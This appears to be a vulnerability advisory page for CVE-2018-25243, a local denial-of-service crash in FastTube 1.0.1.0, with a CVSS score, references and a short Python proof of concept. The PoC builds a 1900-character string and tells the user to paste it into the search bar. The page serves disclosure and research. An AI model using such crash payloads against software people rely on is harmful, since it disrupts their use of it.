CVE-2018-25243

Description

FastTube 1.0.1.0 contains a denial of service vulnerability that allows local attackers to crash the application by submitting an excessively long string to the search functionality. Attackers can paste a buffer of 1900 characters into the search bar and trigger a crash when the search operation is executed.

CVSS Details

CVSS Score

6.2

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

FastTube 1.0.1.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC for CVE-2018-25243
# This script generates a payload to crash FastTube 1.0.1.0 via the search bar.

import pyperclip  # Requires pyperclip, or print manually

def generate_poc():
    # Vulnerability triggers with a buffer of approximately 1900 characters
    payload = "A" * 1900
    return payload

if __name__ == "__main__":
    crash_string = generate_poc()
    print(f"Generated Payload Length: {len(crash_string)}")
    print("Payload:")
    print(crash_string)
    # Copy to clipboard to simulate pasting into the application
    try:
        pyperclip.copy(crash_string)
        print("\n[+] Payload copied to clipboard. Paste into FastTube search bar and press enter.")
    except ImportError:
        print("\n[!] pyperclip not installed. Please copy the string manually.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2018-25243
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2018-25243
[3] CVE Details https://www.cvedetails.com/cve/CVE-2018-25243/
[4] VulDB https://vuldb.com/cve/CVE-2018-25243
[5] https://www.exploit-db.com/exploits/46199
[6] https://www.microsoft.com/store/productId/9MXS9JVDP25V
[7] https://www.vulncheck.com/advisories/fasttube-denial-of-service-via-search

Raw JSON Data

JSON

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